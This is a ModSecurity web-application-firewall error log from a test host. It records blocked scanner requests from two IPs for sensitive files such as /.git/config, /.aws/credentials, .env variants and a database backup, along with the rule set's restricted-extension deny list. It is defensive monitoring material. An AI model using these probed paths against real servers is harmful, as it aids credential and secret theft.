[Sun Aug 03 02:00:09.621545 2025] [:error] [pid 1662668] [client 167.99.237.180:43416] [client 167.99.237.180] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aI6miU1mkfh3qMaCmpTuoQAAAAU&quot;]
[Sun Aug 03 02:00:09.621835 2025] [:error] [pid 1662668] [client 167.99.237.180:43416] [client 167.99.237.180] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aI6miU1mkfh3qMaCmpTuoQAAAAU&quot;]
[Sun Aug 03 02:00:09.622003 2025] [:error] [pid 1662668] [client 167.99.237.180:43416] [client 167.99.237.180] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aI6miU1mkfh3qMaCmpTuoQAAAAU&quot;]
[Tue Aug 05 11:03:24.139874 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstfgAAAAI&quot;]
[Tue Aug 05 11:03:24.141493 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstfgAAAAI&quot;]
[Tue Aug 05 11:03:24.141656 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstfgAAAAI&quot;]
[Tue Aug 05 11:03:24.163852 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstfwAAAAI&quot;]
[Tue Aug 05 11:03:24.164086 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstfwAAAAI&quot;]
[Tue Aug 05 11:03:24.164281 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstfwAAAAI&quot;]
[Tue Aug 05 11:03:24.907838 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstkgAAAAI&quot;]
[Tue Aug 05 11:03:24.908149 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstkgAAAAI&quot;]
[Tue Aug 05 11:03:24.908314 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup/db.sql&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstkgAAAAI&quot;]
[Tue Aug 05 11:03:24.977109 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.cpanel/caches/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstlQAAAAI&quot;]
[Tue Aug 05 11:03:24.977378 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstlQAAAAI&quot;]
[Tue Aug 05 11:03:24.977559 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.cpanel/caches/config/.env&quot;] [unique_id &quot;aJHI3KwAMarSM4GUXkstlQAAAAI&quot;]
[Tue Aug 05 11:03:25.022768 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstlwAAAAI&quot;]
[Tue Aug 05 11:03:25.022964 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstlwAAAAI&quot;]
[Tue Aug 05 11:03:25.023123 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstlwAAAAI&quot;]
[Tue Aug 05 11:03:25.045244 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmAAAAAI&quot;]
[Tue Aug 05 11:03:25.045389 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmAAAAAI&quot;]
[Tue Aug 05 11:03:25.045572 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmAAAAAI&quot;]
[Tue Aug 05 11:03:25.045730 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmAAAAAI&quot;]
[Tue Aug 05 11:03:25.067806 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmQAAAAI&quot;]
[Tue Aug 05 11:03:25.067934 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmQAAAAI&quot;]
[Tue Aug 05 11:03:25.068123 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmQAAAAI&quot;]
[Tue Aug 05 11:03:25.068269 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmQAAAAI&quot;]
[Tue Aug 05 11:03:25.090467 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmgAAAAI&quot;]
[Tue Aug 05 11:03:25.090634 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmgAAAAI&quot;]
[Tue Aug 05 11:03:25.090789 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmgAAAAI&quot;]
[Tue Aug 05 11:03:25.112926 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmwAAAAI&quot;]
[Tue Aug 05 11:03:25.113107 2025] [:error] [pid 1715287] [client 185.177.72.115:30042] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.json&quot;] [unique_id &quot;aJHI3awAMarSM4GUXkstmwAAAAI&quot;]
